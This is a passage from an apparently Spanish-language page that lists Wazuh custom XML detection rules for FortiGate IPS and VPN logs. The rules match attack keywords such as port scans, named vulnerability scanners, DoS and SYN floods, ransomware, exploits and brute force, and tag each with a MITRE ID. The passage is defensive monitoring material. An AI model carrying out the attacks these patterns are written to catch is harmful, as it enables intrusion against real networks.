  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Port Scan (múltiples intentos) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196215"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"7"</span> <span class="hljs-attr">frequency</span>=<span class="hljs-string">"5"</span> <span class="hljs-attr">timeframe</span>=<span class="hljs-string">"60"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_matched_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_matched_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">same_source_ip</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>Port.Scan|port.scanning<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: Port scanning activity from $(srcip) (5+ in 1min)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1046<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,reconnaissance,port_scan,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Vulnerability Scanner --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196216"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"8"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>Vulnerability.Scanner|Nikto|OpenVAS|Nessus<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: Vulnerability scanner detected from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1595<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,reconnaissance,vuln_scan,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ========== ATAQUES DoS / DDoS ========== --&gt;</span>

  <span class="hljs-comment">&lt;!-- DoS Attack --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196217"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"11"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>DoS|Denial.of.Service<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: DoS attack detected from $(srcip) to $(dstip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1498<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,dos,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- DDoS Attack --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196218"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"13"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>DDoS|Distributed.Denial<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: DDoS attack detected targeting $(dstip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1498<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,ddos,fortigate_ips,critical<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- SYN Flood --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196219"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"10"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>SYN.Flood|syn-flood<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: SYN Flood attack from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1498.001<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,dos,syn_flood,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ========== MALWARE Y AMENAZAS AVANZADAS ========== --&gt;</span>

  <span class="hljs-comment">&lt;!-- Malware Detection --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196220"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"12"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>Malware|malicious|trojan|virus|worm<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: Malware detected from $(srcip) - $(attack)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1204<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,malware,fortigate_ips,critical<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Exploit Attempt --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196221"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"11"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>Exploit|exploit-kit|CVE-<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: Exploit attempt detected - $(attack) from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1203<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,exploit,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Ransomware Activity --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196222"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"14"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>Ransomware|ransom|crypto-locker<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: Ransomware activity detected from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1486<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,ransomware,malware,fortigate_ips,emergency<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ========== ATAQUES A SERVICIOS ESPECÍFICOS ========== --&gt;</span>

  <span class="hljs-comment">&lt;!-- Apache/Nginx/Web Server Exploit --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196223"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"10"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>Apache|Nginx|HTTP.Server<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: Web server exploit attempt - $(attack)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1190<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,web,apache,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- WordPress Attack --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196224"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"9"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>WordPress|wp-admin|wp-login<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: WordPress attack from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1190<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,web,wordpress,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- PHP Exploit --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196225"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"10"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>PHP|php-cgi<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: PHP exploit attempt from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1190<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,web,php,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ========== CORRELACIÓN DE ATAQUES ========== --&gt;</span>

  <span class="hljs-comment">&lt;!-- Múltiples ataques desde misma IP (5+ en 2min) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196226"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"12"</span> <span class="hljs-attr">frequency</span>=<span class="hljs-string">"5"</span> <span class="hljs-attr">timeframe</span>=<span class="hljs-string">"120"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_matched_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_matched_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">same_source_ip</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: Multiple attacks from same IP $(srcip) (5+ in 2min)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1595<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,correlated,fortigate_ips_repeated<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Ataque a múltiples destinos desde una IP (spray attack) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196227"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"11"</span> <span class="hljs-attr">frequency</span>=<span class="hljs-string">"10"</span> <span class="hljs-attr">timeframe</span>=<span class="hljs-string">"300"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_matched_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_matched_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">same_source_ip</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">not_same_field</span>&gt;</span>data.dstip<span class="hljs-tag">&lt;/<span class="hljs-name">not_same_field</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: Single IP attacking multiple targets (10+ targets in 5min)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1595<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,correlated,fortigate_ips_spray<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Critical attacks en ráfaga (burst) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196228"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"14"</span> <span class="hljs-attr">frequency</span>=<span class="hljs-string">"3"</span> <span class="hljs-attr">timeframe</span>=<span class="hljs-string">"60"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_matched_sid</span>&gt;</span>196201<span class="hljs-tag">&lt;/<span class="hljs-name">if_matched_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">same_source_ip</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: Multiple CRITICAL attacks in short time from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1190<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,critical,fortigate_ips_burst,emergency<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ========== FILTROS GEOGRÁFICOS ========== --&gt;</span>

  <span class="hljs-comment">&lt;!-- Ataque desde país restringido --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196229"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"10"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>srccountry="China"|srccountry="Russia"|srccountry="Iran"|srccountry="North Korea"<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: Attack from restricted country - $(attack)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1190<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,geo_restricted,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ========== ATAQUES A PUERTOS CRÍTICOS ========== --&gt;</span>

  <span class="hljs-comment">&lt;!-- Attack to RDP Port (3389) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196230"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"10"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>dstport=3389<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: Attack targeting RDP port (3389) from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1021.001<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,rdp,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Attack to SSH Port (22) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196231"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"9"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>dstport=22<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: Attack targeting SSH port (22) from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1021.004<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,ssh,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
</code></pre>
<p>Y el de VPN.</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">group</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"fortigate,custom,bruteforce,"</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ========== REGLAS BÁSICAS FUNCIONALES ========== --&gt;</span>

  <span class="hljs-comment">&lt;!-- Admin Brute Force --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196100"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"12"</span> <span class="hljs-attr">frequency</span>=<span class="hljs-string">"6"</span> <span class="hljs-attr">timeframe</span>=<span class="hljs-string">"300"</span> <span class="hljs-attr">ignore</span>=<span class="hljs-string">"300"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_matched_sid</span>&gt;</span>81606<span class="hljs-tag">&lt;/<span class="hljs-name">if_matched_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">same_source_ip</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT: ADMIN bruteforce from same IP (6+ attempts in 5min)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1110.001<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>fortigate_admin_bruteforce,critical<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- VPN SSL Brute Force --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196101"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"12"</span> <span class="hljs-attr">frequency</span>=<span class="hljs-string">"10"</span> <span class="hljs-attr">timeframe</span>=<span class="hljs-string">"180"</span> <span class="hljs-attr">ignore</span>=<span class="hljs-string">"300"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_matched_sid</span>&gt;</span>81614<span class="hljs-tag">&lt;/<span class="hljs-name">if_matched_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">same_source_ip</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT: SSL VPN bruteforce from same IP (10+ attempts in 3min)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1110.001<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1133<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>fortigate_vpn_bruteforce,critical<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ========== VPN FUERA DE HORARIO ========== --&gt;</span>

  <span class="hljs-comment">&lt;!-- Regla base: VPN fuera de horario (TODOS los usuarios, nivel bajo, sin email) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196102"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"5"</span> <span class="hljs-attr">ignore</span>=<span class="hljs-string">"60"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>81622<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">time</span>&gt;</span>7:00 pm - 6:00 am<span class="hljs-tag">&lt;/<span class="hljs-name">time</span>&gt;</span>
